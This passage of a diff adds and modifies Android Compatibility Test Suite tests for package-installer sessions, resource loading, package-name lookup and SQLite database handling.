+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+ <background>
+ <solid android:color="#ffffff" />
+ </background>
+ <foreground android:drawable="@drawable/drawable_recursive" />
+</adaptive-icon>
diff --git a/tests/tests/content/res/values-v27/strings.xml b/tests/tests/content/res/values-v27/strings.xml
new file mode 100644
index 0000000..369c92a
--- /dev/null
+++ b/tests/tests/content/res/values-v27/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="version_cur">v27cur</string>
+</resources>
diff --git a/tests/tests/content/res/values-v28/strings.xml b/tests/tests/content/res/values-v28/strings.xml
new file mode 100644
index 0000000..fa633dc
--- /dev/null
+++ b/tests/tests/content/res/values-v28/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="version_cur">v28cur</string>
+</resources>
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index e34aa6e..2e6acc7 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -32,6 +32,8 @@
import android.telecom.TelecomManager;
import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.FeatureUtil;
+
import java.util.List;
public class AvailableIntentsTest extends AndroidTestCase {
@@ -329,22 +331,5 @@
public void testManageStorage() {
assertCanBeHandled(new Intent(StorageManager.ACTION_MANAGE_STORAGE));
}
-
- public void testVoiceCommand() {
- PackageManager packageManager = mContext.getPackageManager();
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
- Intent intent = new Intent(Intent.ACTION_VOICE_COMMAND);
- assertCanBeHandled(intent);
- assertDefaultHandlerValidPriority(intent);
- }
- }
- public void testVoiceSearchHandsFree() {
- PackageManager packageManager = mContext.getPackageManager();
- if (packageManager.hasSystemFeature(PackageManager.FEATURE_MICROPHONE)) {
- Intent intent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
- assertCanBeHandled(intent);
- assertDefaultHandlerValidPriority(intent);
- }
- }
}
diff --git a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
index 5f48260..1180077 100644
--- a/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextWrapperTest.java
@@ -360,7 +360,6 @@
// Test databaseList()
List<String> list = Arrays.asList(mContextWrapper.databaseList());
- assertEquals(4, list.size()); // Each database has a journal
assertTrue("1) database list: " + list, list.contains(DATABASE_NAME1));
assertTrue("2) database list: " + list, list.contains(DATABASE_NAME2));
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
new file mode 100644
index 0000000..d978b70
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -0,0 +1,303 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_AUTO;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_INTERNAL_ONLY;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_PREFER_EXTERNAL;
+import static android.content.pm.PackageInfo.INSTALL_LOCATION_UNSPECIFIED;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+import static android.content.pm.PackageInstaller.SessionParams.MODE_INHERIT_EXISTING;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_RESTORE;
+import static android.content.pm.PackageManager.INSTALL_REASON_DEVICE_SETUP;
+import static android.content.pm.PackageManager.INSTALL_REASON_POLICY;
+import static android.content.pm.PackageManager.INSTALL_REASON_UNKNOWN;
+import static android.content.pm.PackageManager.INSTALL_REASON_USER;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.graphics.Bitmap;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.function.Consumer;
+
+@RunWith(Parameterized.class)
+public class InstallSessionParamsUnitTest {
+ private static final String LOG_TAG = InstallSessionParamsUnitTest.class.getSimpleName();
+ private static Optional UNSET = new Optional(false, null);
+
+ @Parameterized.Parameter(0)
+ public Optional<Integer> mode;
+ @Parameterized.Parameter(1)
+ public Optional<Integer> installLocation;
+ @Parameterized.Parameter(2)
+ public Optional<Integer> size;
+ @Parameterized.Parameter(3)
+ public Optional<String> appPackageName;
+ @Parameterized.Parameter(4)
+ public Optional<Bitmap> appIcon;
+ @Parameterized.Parameter(5)
+ public Optional<String> appLabel;
+ @Parameterized.Parameter(6)
+ public Optional<Uri> originatingUri;
+ @Parameterized.Parameter(7)
+ public Optional<Integer> originatingUid;
+ @Parameterized.Parameter(8)
+ public Optional<Uri> referredUri;
+ @Parameterized.Parameter(9)
+ public Optional<Integer> installReason;
+ @Parameterized.Parameter(10)
+ public boolean expectFailure;
+
+ /**
+ * Generate test-parameters where all params are the same, but one param cycles through all
+ * values.
+ */
+ private static ArrayList<Object[]> getSingleParameterChangingTests(
+ Object[][][] allParameterValues, int changingParameterIndex,
+ Object[] changingParameterValues, boolean expectFailure) {
+ ArrayList<Object[]> params = new ArrayList<>();
+
+ for (Object changingParameterValue : changingParameterValues) {
+ ArrayList<Object> singleTestParams = new ArrayList<>();
+
+ // parameterIndex is the index of the parameter (0 = mode, ...)
+ for (int parameterIndex = 0; parameterIndex < allParameterValues.length;
+ parameterIndex++) {
+ Object[][] parameterValues = allParameterValues[parameterIndex];
+
+ if (parameterIndex == changingParameterIndex) {
+ if (changingParameterValue == UNSET) {
+ // No need to wrap UNSET again
+ singleTestParams.add(UNSET);
+ } else {
+ singleTestParams.add(Optional.of(changingParameterValue));
+ }
+ } else {
+ singleTestParams.add(Optional.of(parameterValues[0][0]));
+ }
+ }
+ singleTestParams.add(expectFailure);
+ params.add(singleTestParams.toArray());
+ }
+
+ return params;
+ }
+
+ /**
+ * Generate test-parameters for all tests.
+ */
+ @Parameterized.Parameters
+ public static Collection<Object[]> getParameters() {
+ // {{{valid parameters}, {invalid parameters}}}
+ Object[][][] allParameterValues = {
+ /*mode*/
+ {{MODE_FULL_INSTALL, MODE_INHERIT_EXISTING}, {0xfff}},
+ /*installLocation*/
+ {{INSTALL_LOCATION_UNSPECIFIED, INSTALL_LOCATION_AUTO,
+ INSTALL_LOCATION_INTERNAL_ONLY, INSTALL_LOCATION_PREFER_EXTERNAL,
+ /* parame is not verified */ 0xfff}, {}},
+ /*size*/
+ {{1, 8092, Integer.MAX_VALUE, /* parame is not verified */ -1, 0}, {}},
+ /*appPackageName*/
+ {{"a.package.name", null, /* param is not verified */ "android"}, {}},
+ /*appIcon*/
+ {{null, Bitmap.createBitmap(42, 42, Bitmap.Config.ARGB_8888)}, {}},
+ /*appLabel*/
+ {{"A label", null}, {}},
+ /*originatingUri*/
+ {{Uri.parse("android.com"), null}, {}},
+ /*originatingUid*/
+ {{-1, 0, 1}, {}},
+ /*referredUri*/
+ {{Uri.parse("android.com"), null}, {}},
+ /*installReason*/
+ {{INSTALL_REASON_UNKNOWN, INSTALL_REASON_POLICY, INSTALL_REASON_DEVICE_RESTORE,
+ INSTALL_REASON_DEVICE_SETUP, INSTALL_REASON_USER,
+ /* parame is not verified */ 0xfff}, {}}};
+
+ ArrayList<Object[]> allTestParams = new ArrayList<>();
+
+ // changingParameterIndex is the index the parameter that changes (0 = mode ...)
+ for (int changingParameterIndex = 0; changingParameterIndex < allParameterValues.length;
+ changingParameterIndex++) {
+ // Allowed values
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, allParameterValues[changingParameterIndex][0], false));
+
+ // Value unset (mode param cannot be unset)
+ if (changingParameterIndex != 0) {
+ Object[] unset = {UNSET};
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, unset, false));
+ }
+
+ // Illegal values
+ allTestParams.addAll(getSingleParameterChangingTests(allParameterValues,
+ changingParameterIndex, allParameterValues[changingParameterIndex][1], true));
+ }
+
+ return allTestParams;
+ }
+
+ /**
+ * Get the sessionInfo if this package owns the session.
+ *
+ * @param sessionId The id of the session
+ *
+ * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+ * owned by the this package.
+ */
+ private SessionInfo getSessionInfo(int sessionId) {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+ List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+ for (SessionInfo sessionInfo : mySessionInfos) {
+ if (sessionInfo.sessionId == sessionId) {
+ return sessionInfo;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Create a new installer session.
+ *
+ * @return The new session
+ */
+ private int createSession(SessionParams params) throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ return installer.createSession(params);
+ }
+
+ @Test
+ public void checkSessionParams() throws Exception {
+ Log.i(LOG_TAG, "mode=" + mode + " installLocation=" + installLocation + " size=" + size
+ + " appPackageName=" + appPackageName + " appIcon=" + appIcon + " appLabel="
+ + appLabel + " originatingUri=" + originatingUri + " originatingUid="
+ + originatingUid + " referredUri=" + referredUri + " installReason=" + installReason
+ + " expectFailure=" + expectFailure);
+
+ SessionParams params = new SessionParams(mode.get());
+ installLocation.ifPresent(params::setInstallLocation);
+ size.ifPresent(params::setSize);
+ appPackageName.ifPresent(params::setAppPackageName);
+ appIcon.ifPresent(params::setAppIcon);
+ appLabel.ifPresent(params::setAppLabel);
+ originatingUri.ifPresent(params::setOriginatingUri);
+ originatingUid.ifPresent(params::setOriginatingUid);
+ referredUri.ifPresent(params::setReferrerUri);
+ installReason.ifPresent(params::setInstallReason);
+
+ int sessionId;
+ try {
+ sessionId = createSession(params);
+
+ if (expectFailure) {
+ fail("Creating session did not fail");
+ }
+ } catch (Exception e) {
+ if (expectFailure) {
+ return;
+ }
+
+ throw e;
+ }
+
+ SessionInfo info = getSessionInfo(sessionId);
+
+ assertThat(info.getMode()).isEqualTo(mode.get());
+ installLocation.ifPresent(i -> assertThat(info.getInstallLocation()).isEqualTo(i));
+ size.ifPresent(i -> assertThat(info.getSize()).isEqualTo(i));
+ appPackageName.ifPresent(s -> assertThat(info.getAppPackageName()).isEqualTo(s));
+
+ if (appIcon.isPresent()) {
+ if (appIcon.get() == null) {
+ assertThat(info.getAppIcon()).isNull();
+ } else {
+ assertThat(appIcon.get().sameAs(info.getAppIcon())).isTrue();
+ }
+ }
+
+ appLabel.ifPresent(s -> assertThat(info.getAppLabel()).isEqualTo(s));
+ originatingUri.ifPresent(uri -> assertThat(info.getOriginatingUri()).isEqualTo(uri));
+ originatingUid.ifPresent(i -> assertThat(info.getOriginatingUid()).isEqualTo(i));
+ referredUri.ifPresent(uri -> assertThat(info.getReferrerUri()).isEqualTo(uri));
+ installReason.ifPresent(i -> assertThat(info.getInstallReason()).isEqualTo(i));
+ }
+
+ /** Similar to java.util.Optional but distinguishing between null and unset */
+ private static class Optional<T> {
+ private final boolean mIsSet;
+ private final T mValue;
+
+ Optional(boolean isSet, T value) {
+ mIsSet = isSet;
+ mValue = value;
+ }
+
+ static <T> Optional of(T value) {
+ return new Optional(true, value);
+ }
+
+ T get() {
+ if (!mIsSet) {
+ throw new IllegalStateException(this + " is not set");
+ }
+ return mValue;
+ }
+
+ public String toString() {
+ if (!mIsSet) {
+ return "unset";
+ } else if (mValue == null) {
+ return "null";
+ } else {
+ return mValue.toString();
+ }
+ }
+
+ boolean isPresent() {
+ return mIsSet;
+ }
+
+ void ifPresent(Consumer<T> consumer) {
+ if (mIsSet) {
+ consumer.accept(mValue);
+ }
+ }
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
new file mode 100644
index 0000000..dd45668
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -0,0 +1,269 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNotNull;
+
+import android.annotation.NonNull;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageInstaller.Session;
+import android.content.pm.PackageInstaller.SessionInfo;
+import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.net.Uri;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+
+import libcore.io.Streams;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class InstallSessionTransferTest {
+ /**
+ * Get the sessionInfo if this package owns the session.
+ *
+ * @param sessionId The id of the session
+ *
+ * @return The {@link PackageInstaller.SessionInfo} object, or {@code null} if session is not
+ * owned by the this package.
+ */
+ private SessionInfo getSessionInfo(@NonNull PackageInstaller installer,
+ int sessionId) {
+ List<SessionInfo> mySessionInfos = installer.getMySessions();
+
+ for (SessionInfo sessionInfo : mySessionInfos) {
+ if (sessionInfo.sessionId == sessionId) {
+ return sessionInfo;
+ }
+ }
+
+ return null;
+ }
+
+ /**
+ * Get name of the package installer.
+ *
+ * @return The package name of the package installer
+ */
+ private static String getPackageInstallerPackageName() throws Exception {
+ Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
+ installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+ "application/vnd.android.package-archive");
+
+ ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
+ .getPackageManager().resolveActivity(installerIntent,
+ PackageManager.MATCH_DEFAULT_ONLY);
+
+ if (installer != null) {
+ return installer.activityInfo.packageName;
+ }
+
+ return null;
+ }
+
+ /**
+ * Write an APK to the session.
+ *
+ * @param session The session to write to
+ * @param name The name of the apk to write
+ */
+ private void writeApk(@NonNull Session session, @NonNull String name) throws IOException {
+ try (InputStream in = new FileInputStream("/data/local/tmp/cts/content/" + name + ".apk")) {
+ try (OutputStream out = session.openWrite(name, 0, -1)) {
+ Streams.copy(in, out);
+ }
+ }
+ }
+
+ /**
+ * Create a new installer session.
+ *
+ * @return The new session
+ */
+ private Session createSession() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+ int sessionId = installer.createSession(params);
+ return installer.openSession(sessionId);
+ }
+
+ @Test
+ public void transferSession() throws Exception {
+ Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+ SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+ int sessionId = installer.createSession(params);
+ Session session = installer.openSession(sessionId);
+
+ writeApk(session, "CtsContentTestCases");
+
+ InputStream danglingReadStream = session.openRead("CtsContentTestCases");
+
+ SessionInfo info = getSessionInfo(installer, sessionId);
+ assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
+ assertThat(info.isSealed()).isFalse();
+
+ // This transfers the session to the new owner
+ session.transfer(packageInstallerPackage);
+ assertThat(getSessionInfo(installer, sessionId)).isNull();
+
+ try {
+ // Session is transferred, all operations on the session are invalid
+ session.getNames();
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ // Even when the session is transferred read streams still work and contain the same content
+ // that we initially wrote into it.
+ try (InputStream originalContent = new FileInputStream(
+ "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
+ try (InputStream sessionContent = danglingReadStream) {
+ byte[] buffer = new byte[4096];
+ while (true) {
+ int numReadOriginal = originalContent.read(buffer);
+ int numReadSession = sessionContent.read(buffer);
+
+ assertThat(numReadOriginal).isEqualTo(numReadSession);
+ if (numReadOriginal == -1) {
+ break;
+ }
+ }
+ }
+ }
+
+ danglingReadStream.close();
+ }
+
+ @Test
+ public void transferToInvalidNewOwner() throws Exception {
+ Session session = createSession();
+ writeApk(session, "CtsContentTestCases");
+
+ try {
+ // This will fail as the name of the new owner is invalid
+ session.transfer("android.content.cts.invalid.package");
+ fail();
+ } catch (PackageManager.NameNotFoundException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferToOwnerWithoutInstallPermission() throws Exception {
+ Session session = createSession();
+ writeApk(session, "CtsContentTestCases");
+
+ try {
+ // This will fail as the current package does not own the install-packages permission
+ session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
+ .getPackageName());
+ fail();
+ } catch (SecurityException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferWithOpenWrite() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ session.openWrite("danglingWriteStream", 0, 1);
+ try {
+ // This will fail as the danglingWriteStream is still open
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (SecurityException e) {
+ // Expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferSessionWithInvalidApk() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ try (OutputStream out = session.openWrite("invalid", 0, 2)) {
+ out.write(new byte[]{23, 42});
+ out.flush();
+ }
+
+ try {
+ // This will fail as the content of 'invalid' is not a valid APK
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (IllegalArgumentException e) {
+ // expected
+ }
+
+ session.abandon();
+ }
+
+ @Test
+ public void transferWithApkFromWrongPackage() throws Exception {
+ Session session = createSession();
+ String packageInstallerPackage = getPackageInstallerPackageName();
+ assumeNotNull(packageInstallerPackage);
+
+ writeApk(session, "CtsContentEmptyTestApp");
+
+ try {
+ // This will fail as the session contains the a apk from the wrong package
+ session.transfer(packageInstallerPackage);
+ fail();
+ } catch (SecurityException e) {
+ // expected
+ }
+
+ session.abandon();
+ }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 490da35..5140e69 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -470,4 +470,29 @@
assertNotNull("Signatures should have been collected when GET_SIGNATURES flag specified",
pkgInfo.signatures);
}
+
+ public void testGetNamesForUids_null() throws Exception {
+ assertNull(mPackageManager.getNamesForUids(null));
+ }
+
+ public void testGetNamesForUids_empty() throws Exception {
+ assertNull(mPackageManager.getNamesForUids(new int[0]));
+ }
+
+ public void testGetNamesForUids_valid() throws Exception {
+ final int shimId =
+ mPackageManager.getApplicationInfo("com.android.cts.ctsshim", 0 /*flags*/).uid;
+ final int[] uids = new int[] {
+ 1000,
+ Integer.MAX_VALUE,
+ shimId,
+ };
+ final String[] result;
+ result = mPackageManager.getNamesForUids(uids);
+ assertNotNull(result);
+ assertEquals(3, result.length);
+ assertEquals("shared:android.uid.system", result[0]);
+ assertEquals(null, result[1]);
+ assertEquals("com.android.cts.ctsshim", result[2]);
+ }
}
diff --git a/tests/tests/content/src/android/content/res/cts/ConfigTest.java b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
index 8056432..faca085 100644
--- a/tests/tests/content/src/android/content/res/cts/ConfigTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ConfigTest.java
@@ -1179,7 +1179,7 @@
checkValue(res, R.configVarying.bag,
R.styleable.TestConfig, new String[]{"bag dpad 63x57"});
}
-
+
@MediumTest
public void testVersions() {
// Check that we get the most recent resources that are <= our
diff --git a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
index 23afe68..0c18b4f 100644
--- a/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
+++ b/tests/tests/content/src/android/content/res/cts/PrivateAttributeTest.java
@@ -27,7 +27,7 @@
*/
public class PrivateAttributeTest extends AndroidTestCase {
- private static final int sLastPublicAttr = 0x01010568;
+ private static final int sLastPublicAttr = 0x0101056d;
public void testNoAttributesAfterLastPublicAttribute() throws Exception {
if (!Build.VERSION.CODENAME.equals("REL")) {
diff --git a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
index 5856a0c..7f5d6ce 100644
--- a/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
+++ b/tests/tests/content/src/android/content/res/cts/ResourcesTest.java
@@ -315,6 +315,15 @@
assertEquals(142 * targetDensity / defaultDensity, draw.getIntrinsicHeight(), 1);
}
+ public void testGetDrawable_StackOverflowErrorDrawable() {
+ try {
+ mResources.getDrawable(R.drawable.drawable_recursive);
+ fail("Failed at testGetDrawable_StackOverflowErrorDrawable");
+ } catch (NotFoundException e) {
+ //expected
+ }
+ }
+
public void testGetDrawableForDensity() {
final Drawable ldpi = mResources.getDrawableForDensity(
R.drawable.density_test, DisplayMetrics.DENSITY_LOW);
diff --git a/tests/tests/database/Android.mk b/tests/tests/database/Android.mk
index 1be93c6..0e24c15 100644
--- a/tests/tests/database/Android.mk
+++ b/tests/tests/database/Android.mk
@@ -25,6 +25,7 @@
android-common \
ctstestrunner \
ctstestrunner \
+ ub-uiautomator \
junit \
legacy-android-test
@@ -35,6 +36,9 @@
LOCAL_PACKAGE_NAME := CtsDatabaseTestCases
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Enforce public / test api only
+LOCAL_SDK_VERSION := test_current
include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
new file mode 100644
index 0000000..5b52790
--- /dev/null
+++ b/tests/tests/database/src/android/database/sqlite/cts/DatabaseTestUtils.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.database.sqlite.cts;
+
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
+
+/**
+ * Common utility methods for testing
+ */
+class DatabaseTestUtils {
+
+ private static final String TAG = "SQLiteOpenHelperTest";
+
+ static boolean waitForConnectionToClose(int maxAttempts, int pollIntervalMs)
+ throws Exception {
+ for (int i = 0; i < maxAttempts; i++) {
+ String output = getDbInfoOutput();
+ Log.d(TAG, "waitForConnectionToClose #" + i + ": " + output);
+ if (!output.contains("Connection #0:")) {
+ return true;
+ }
+ Thread.sleep(pollIntervalMs);
+ }
+ return false;
+ }
+
+ static String getDbInfoOutput() throws Exception {
+ Context ctx = InstrumentationRegistry.getInstrumentation().getContext();
+ return executeShellCommand("dumpsys dbinfo " + ctx.getPackageName());
+ }
+
+ static String executeShellCommand(String cmd) throws Exception {
+ return UiDevice.getInstance(
+ InstrumentationRegistry.getInstrumentation()).executeShellCommand(cmd);
+ }
+}
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
index f6458c1..32e78e3 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteDatabaseTest.java
@@ -22,6 +22,7 @@
import java.util.Locale;
import java.util.concurrent.Semaphore;
+import android.app.ActivityManager;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
@@ -31,16 +32,22 @@
import android.database.sqlite.SQLiteCursorDriver;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteDatabase.CursorFactory;
-import android.database.sqlite.SQLiteException;
+import android.database.sqlite.SQLiteDebug;
import android.database.sqlite.SQLiteQuery;
import android.database.sqlite.SQLiteStatement;
import android.database.sqlite.SQLiteTransactionListener;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.uiautomator.UiDevice;
import android.test.AndroidTestCase;
import android.test.MoreAsserts;
import android.test.suitebuilder.annotation.LargeTest;
-import android.test.suitebuilder.annotation.SmallTest;
+import android.util.Log;
+
+import static android.database.sqlite.cts.DatabaseTestUtils.getDbInfoOutput;
+import static android.database.sqlite.cts.DatabaseTestUtils.waitForConnectionToClose;
public class SQLiteDatabaseTest extends AndroidTestCase {
+ private static final String TAG = "SQLiteDatabaseTest";
private SQLiteDatabase mDatabase;
private File mDatabaseFile;
private String mDatabaseFilePath;
@@ -82,19 +89,17 @@
@Override
protected void tearDown() throws Exception {
- mDatabase.close();
- mDatabaseFile.delete();
+ closeAndDeleteDatabase();
super.tearDown();
}
- public void testOpenDatabase() {
- CursorFactory factory = new CursorFactory() {
- public Cursor newCursor(SQLiteDatabase db, SQLiteCursorDriver masterQuery,
- String editTable, SQLiteQuery query) {
- return new MockSQLiteCursor(db, masterQuery, editTable, query);
- }
- };
+ private void closeAndDeleteDatabase() {
+ mDatabase.close();
+ SQLiteDatabase.deleteDatabase(mDatabaseFile);
+ }
+ public void testOpenDatabase() {
+ CursorFactory factory = MockSQLiteCursor::new;
SQLiteDatabase db = SQLiteDatabase.openDatabase(mDatabaseFilePath,
factory, SQLiteDatabase.CREATE_IF_NECESSARY);
assertNotNull(db);
@@ -1276,8 +1281,7 @@
@LargeTest
public void testReaderGetsOldVersionOfDataWhenWriterIsInXact() throws InterruptedException {
// redo setup to create WAL enabled database
- mDatabase.close();
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
boolean rslt = mDatabase.enableWriteAheadLogging();
assertTrue(rslt);
@@ -1350,8 +1354,7 @@
public void testExceptionsFromEnableWriteAheadLogging() {
// attach a database
// redo setup to create WAL enabled database
- mDatabase.close();
- new File(mDatabase.getPath()).delete();
+ closeAndDeleteDatabase();
mDatabase = SQLiteDatabase.openOrCreateDatabase(mDatabaseFile.getPath(), null, null);
// attach a database and call enableWriteAheadLogging - should not be allowed
